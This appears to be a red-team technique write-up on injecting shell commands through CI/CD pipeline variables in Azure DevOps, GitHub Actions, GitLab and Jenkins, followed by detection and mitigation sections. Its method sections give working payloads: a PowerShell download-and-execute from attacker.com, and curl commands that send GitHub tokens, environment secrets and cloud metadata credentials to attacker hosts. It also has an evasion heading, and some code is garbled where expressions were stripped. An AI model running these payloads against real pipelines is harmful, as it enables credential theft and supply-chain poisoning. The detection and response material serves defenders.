MCADDF

[SUPPLY-CHAIN-005]: Release Pipeline Variable Injection

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-005
MITRE ATT&CK v18.1 T1195.001 - Compromise Software Dependencies and Development Tools
Tactic Supply Chain Compromise
Platforms Entra ID/DevOps
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure DevOps 2019+, GitHub Actions, GitLab CI/CD 13.0+, Jenkins 2.150+
Patched In Requires input validation implementation (no OS patch)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Pipeline variable injection exploits the interpolation of user-controlled variables into build scripts without proper sanitization. When CI/CD systems substitute pipeline variables into commands (e.g., MSBuild parameters, shell scripts, deployment arguments), attackers can inject arbitrary shell metacharacters (&, |, ;, $()) to break out of the intended command context and execute malicious code with the pipeline agent’s privileges. This attack leverages the fact that variables are strings and cannot be escaped by the system; the responsibility falls on the developer to quote or validate inputs.

Attack Surface: Azure DevOps YAML pipelines, GitHub Actions workflows, GitLab CI/CD .gitlab-ci.yml, Jenkins declarative pipelines, any CI/CD platform that interpolates variables into scripts.

Business Impact: Complete pipeline compromise leading to supply chain poisoning. An attacker with commit access or pull request approval rights can inject malicious build steps, exfiltrate secrets (service principal credentials, API tokens), modify build artifacts, or inject backdoors into production releases. The compromised pipeline then distributes poisoned software to all downstream consumers.

Technical Context: Variable injection typically occurs within 5-60 seconds of pipeline execution. Detection requires analyzing pipeline logs and variable substitution patterns. The attack leaves traces in build artifacts and pipeline execution records unless logs are deliberately cleaned.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark v8.0 3.9 Ensure that public access is not enabled for repositories
DISA STIG GD000360 Build and release pipelines must validate all external inputs
CISA SCuBA CM-5 Implement access controls for pipeline modifications
NIST 800-53 SI-7 Software, firmware, and information integrity checks
GDPR Art. 32 Security of processing; integrity and confidentiality of software
DORA Art. 9 Operational resilience and supply chain protection
NIS2 Art. 21 Risk management and supply chain security measures
ISO 27001 A.8.3.3 Segregation of development, test, and production environments
ISO 27005 Risk Scenario Compromise of build pipelines and artifact distribution

2. EXECUTIVE SUMMARY (CONTINUED)

Attack Prerequisites


3. ENVIRONMENTAL RECONNAISSANCE

Azure DevOps Pipeline Reconnaissance

# Check for YAML pipeline definitions in repository
Get-Content -Path "azure-pipelines.yml" | Select-String -Pattern "variables:|script:|task:"

# List all pipeline variables accessible to current user
az pipelines variable list --organization "https://dev.azure.com/[org]" --project "[project]"

# Check if there are protected/secret variables
az pipelines variable list --query "[?isSecret==true]"

What to Look For:

GitHub Actions Reconnaissance

# Extract environment variables from workflow
grep -r "env:" .github/workflows/ | grep -E '\$\{.*\}|\$\(.*\)'

# List all available context variables
cat .github/workflows/build.yml | grep -E "github\.|runner\.|steps\.|secrets\."

GitLab CI/CD Reconnaissance

# Check for variable interpolation in CI/CD config
grep -n "script:" .gitlab-ci.yml | head -20

# Test variable expansion locally
gitlab-runner exec docker test_job

4. DETAILED EXECUTION METHODS

METHOD 1: Azure DevOps YAML Pipeline Variable Injection

Supported Versions: Azure DevOps 2019+

Step 1: Identify Vulnerable Variable Usage

Objective: Locate variables that are interpolated into scripts without proper quoting.

Command:

# Example vulnerable pipeline (azure-pipelines.yml)
trigger:
  - main

pool:
  vmImage: 'windows-latest'

variables:
  configuration: Release
  platform: x64

steps:
- task: MSBuild@1
  inputs:
    solution: '**/*.sln'
    configuration: '$(configuration)'  # Vulnerable - no quotes
    platform: '$(platform)'             # Vulnerable - no quotes

Expected Vulnerable Pattern:

- script: msbuild $(solution) /p:Configuration=$(configuration)

What This Means:

Step 2: Craft Malicious Variable Payload

Objective: Create a payload that breaks out of the intended command context.

Malicious Payload:

Debug" & powershell -Command "iex (New-Object System.Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" & ::

Payload Breakdown:

Step 3: Inject Payload via Commit Message or Branch Name

Objective: Deliver the malicious payload through a variable that the pipeline will interpolate.

Example: Commit Message Injection (if Build.SourceVersionMessage is used)

git commit -m 'Debug" & powershell -NoProfile -Command "whoami > C:\temp\output.txt" & ::'
git push origin feature-branch

Example: Queue-Time Parameter Injection (if pipeline accepts user input)

In Azure DevOps UI:

  1. Queue a new build
  2. In the Variables section, set:
    • Variable Name: configuration
    • Value: Debug" & powershell -Command "Write-Host Compromised" & ::
  3. Click Queue

Step 4: Monitor Pipeline Execution

Objective: Verify that the injected command was executed.

Check Pipeline Logs:

az pipelines build log --build-id [BUILD_ID] --organization "https://dev.azure.com/[org]" --project "[project]"

Expected Output (if injection successful):

Compromised
C:\temp\output.txt created with attacker's data

OpSec & Evasion:

Detection Likelihood: Medium – Pipeline logs will show the injected commands unless sanitized.

Troubleshooting:

References & Proofs:

METHOD 2: GitHub Actions Workflow Variable Injection

Supported Versions: All GitHub Actions versions

Step 1: Identify Vulnerable Workflow Pattern

Objective: Find workflows that directly interpolate variables into shell scripts.

Vulnerable Workflow Example:

name: Build

on: [push, pull_request]

env:
  BUILD_CONFIGURATION: Release

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Build
        run: |
          ./build.sh $
          # Vulnerable: env variable directly interpolated without quoting

Step 2: Inject via Pull Request or Commit

Objective: Modify a file that triggers variable interpolation.

Malicious Commit:

# Modify build configuration parameter
git commit -m "Update build: Release; curl http://attacker.com/exfil?token=$(echo $GITHUB_TOKEN | base64)"

Or modify a GitHub Actions input:

# In a pull request, modify workflow trigger parameters
# If the workflow reads from github.event.pull_request.body, inject:
This PR fixes #123

build_config: Release
; curl http://attacker.com/steal?token=$(base64 < $GITHUB_WORKSPACE/.env)

Step 3: Capture Secrets from Environment

Objective: Extract service account tokens or other secrets.

Payload:

run: |
  echo "==== GitHub Token ====" >> /tmp/creds.txt
  echo $ >> /tmp/creds.txt
  
  echo "==== Deployment Keys ====" >> /tmp/creds.txt
  env | grep -E "DEPLOY|TOKEN|KEY" >> /tmp/creds.txt
  
  # Exfiltrate
  curl -X POST -d @/tmp/creds.txt http://attacker.com/webhook

OpSec & Evasion:

References & Proofs:

METHOD 3: GitLab CI/CD Variable Injection

Supported Versions: GitLab CI/CD 13.0+

Step 1: Analyze .gitlab-ci.yml for Vulnerable Patterns

Objective: Find script sections that use unquoted variable expansion.

Vulnerable Configuration:

variables:
  ENV_NAME: staging
  DEPLOY_URL: https://deploy.example.com

deploy_job:
  script:
    - echo "Deploying to $ENV_NAME"
    - curl $DEPLOY_URL/deploy?env=$ENV_NAME  # Vulnerable

Step 2: Inject via CI/CD Variable Override

Objective: Use GitLab’s variable override mechanism to inject commands.

In GitLab UI:

  1. Go to CI/CD → Pipelines
  2. Click Run pipeline
  3. Expand Variables
  4. Set:
    • Key: DEPLOY_URL
    • Value: https://deploy.example.com/deploy?env=$(whoami)

Or via GitLab API:

curl --request POST "https://gitlab.com/api/v4/projects/[project_id]/pipeline" \
  --header "PRIVATE-TOKEN: [token]" \
  --form "ref=main" \
  --form "variables[DEPLOY_URL]=https://deploy.example.com/deploy?env=$(cat /etc/passwd | base64)"

Step 3: Exfiltrate Credentials

Objective: Extract CI/CD secrets (database credentials, API keys).

Payload:

script:
  - export LEAKED=$(env | grep -E "DB_PASS|API_KEY|AWS" | base64)
  - curl -X POST -d "{\"data\": \"$LEAKED\"}" http://attacker-webhook.com/collect

References & Proofs:

METHOD 4: Jenkins Declarative Pipeline Variable Injection

Supported Versions: Jenkins 2.150+ with Pipeline plugin

Step 1: Identify Jenkins Pipeline with User Input

Objective: Find Jenkinsfiles that accept parameters without validation.

Vulnerable Jenkinsfile:

pipeline {
  agent any
  
  parameters {
    string(name: 'BUILD_ENV', defaultValue: 'debug', description: 'Build environment')
  }
  
  stages {
    stage('Build') {
      steps {
        sh "gradle build -PbuildEnv=${params.BUILD_ENV}"  // Vulnerable
      }
    }
  }
}

Step 2: Trigger Build with Malicious Parameter

Objective: Inject shell metacharacters via Jenkins API.

Using Jenkins CLI:

java -jar jenkins-cli.jar \
  -s http://jenkins.example.com \
  build MyPipeline \
  -p "BUILD_ENV=debug; curl http://attacker.com/steal?jenkins=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/jenkins-role | base64); #"

Using Jenkins API:

curl -X POST http://jenkins.example.com/job/MyPipeline/buildWithParameters \
  -d "BUILD_ENV=debug; whoami > /tmp/user.txt; cat /tmp/user.txt | curl -d @- http://attacker.com; #" \
  --user "admin:$(cat ~/.jenkins-token)"

Step 3: Capture Build Artifacts and Logs

Objective: Access compiled artifacts or build logs containing secrets.

Extract from Jenkins:

# Download build artifacts
curl http://jenkins.example.com/job/MyPipeline/[BUILD_ID]/artifact/* \
  -o /tmp/artifacts.zip

# View console output
curl http://jenkins.example.com/job/MyPipeline/[BUILD_ID]/consoleText > /tmp/build.log

References & Proofs:


5. TOOLS & COMMANDS REFERENCE

Azure DevOps CLI

Version: 0.25.0+ Installation:

pip install azure-devops

Usage:

# List all pipelines in project
az pipelines list --organization "https://dev.azure.com/[org]" --project "[project]"

# Queue a build with custom variables
az pipelines build queue \
  --definition-id 1 \
  --branch main \
  --variables custom_var="Release" another_var="x64"

GitHub CLI

Version: 2.0+

# Trigger workflow dispatch with inputs
gh workflow run build.yml \
  -f build_config="Release" \
  -f deploy_target="http://attacker.com/inject?token=$"

6. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious Variable Interpolation in Pipeline Logs

Rule Configuration:

KQL Query:

AzureDevOpsAuditing
| where ActivityName in ("Build.BuildQueuedEvent", "Git.PullRequestUpdatedEvent")
| where Details has_any ("&", "|", ";", "$(", "`")
| where Details has_any ("powershell", "cmd", "bash", "curl", "wget")
| project TimeGenerated, ActorDisplayName, ActivityName, Details, IpAddress
| order by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Azure DevOps Pipeline Variable Injection Detection
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command:

    # Disable the compromised pipeline
    az pipelines update --id [PIPELINE_ID] --disabled true
       
    # Revoke service principal credentials
    az ad sp credential delete --id [SERVICE_PRINCIPAL_ID]
    

    Manual (Azure DevOps UI):

    • Go to Pipelines → Select pipeline → Disable
  2. Collect Evidence:

    # Export pipeline execution logs
    az pipelines build log --build-id [BUILD_ID] > /tmp/build_logs.txt
       
    # Export audit logs
    az devops audit log list --organization "https://dev.azure.com/[org]" \
      > /tmp/audit_logs.json
       
    # Export poisoned artifacts
    curl -X GET \
      -H "Authorization: Basic $(echo -n ':' $PAT | base64)" \
      https://dev.azure.com/[org]/[project]/_apis/build/builds/[BUILD_ID]/artifacts \
      > /tmp/artifacts_metadata.json
    
  3. Remediate:

    # Restore from clean backup
    git reset --hard [CLEAN_COMMIT_HASH]
    git push --force origin main
       
    # Rebuild pipeline with validated code
    az pipelines build queue --definition-id [PIPELINE_ID] --branch main
       
    # Review and rotate all service principals used in pipelines
    az ad sp list --filter "appDisplayName eq 'MyPipeline-ServicePrincipal'" \
      | jq '.[] | .id' \
      | xargs -I {} az ad sp credential delete --id {}
    

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check for proper quoting in pipelines
grep -r "script:" .github/workflows/ | grep -v '"$' | grep -v "'$"

# Should return: (empty result = secure)

# Check for unrestricted service principal roles
az ad sp list --filter "appDisplayName eq '[YourServicePrincipal]'" \
  | jq '.[] | .id' \
  | xargs -I {} az role assignment list --assignee {} \
  | jq '.[] | select(.roleDefinitionName == "Owner" or .roleDefinitionName == "Contributor")'

# Should return: (no assignments at subscription scope)

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Azure Application Proxy Exploitation Attacker gains initial access via misconfigured proxy
2 Credential Access [CA-TOKEN-015] DevOps Pipeline Credential Extraction Attacker steals pipeline service principal credentials
3 Current Step [SUPPLY-CHAIN-005] Attacker injects malicious code into release pipeline
4 Supply Chain Impact [SUPPLY-CHAIN-006] Deployment Agent Compromise Compromised pipeline distributes poisoned artifacts
5 Impact [IMPACT-RANSOM-001] Ransomware Deployment Malicious artifacts deployed to production systems

10. REAL-WORLD EXAMPLES

Example 1: SolarWinds Supply Chain Attack (2020)

Example 2: Codecov Bash Uploader Breach (2021)

Example 3: GitHub Actions Typosquatting Attack (2021-2023)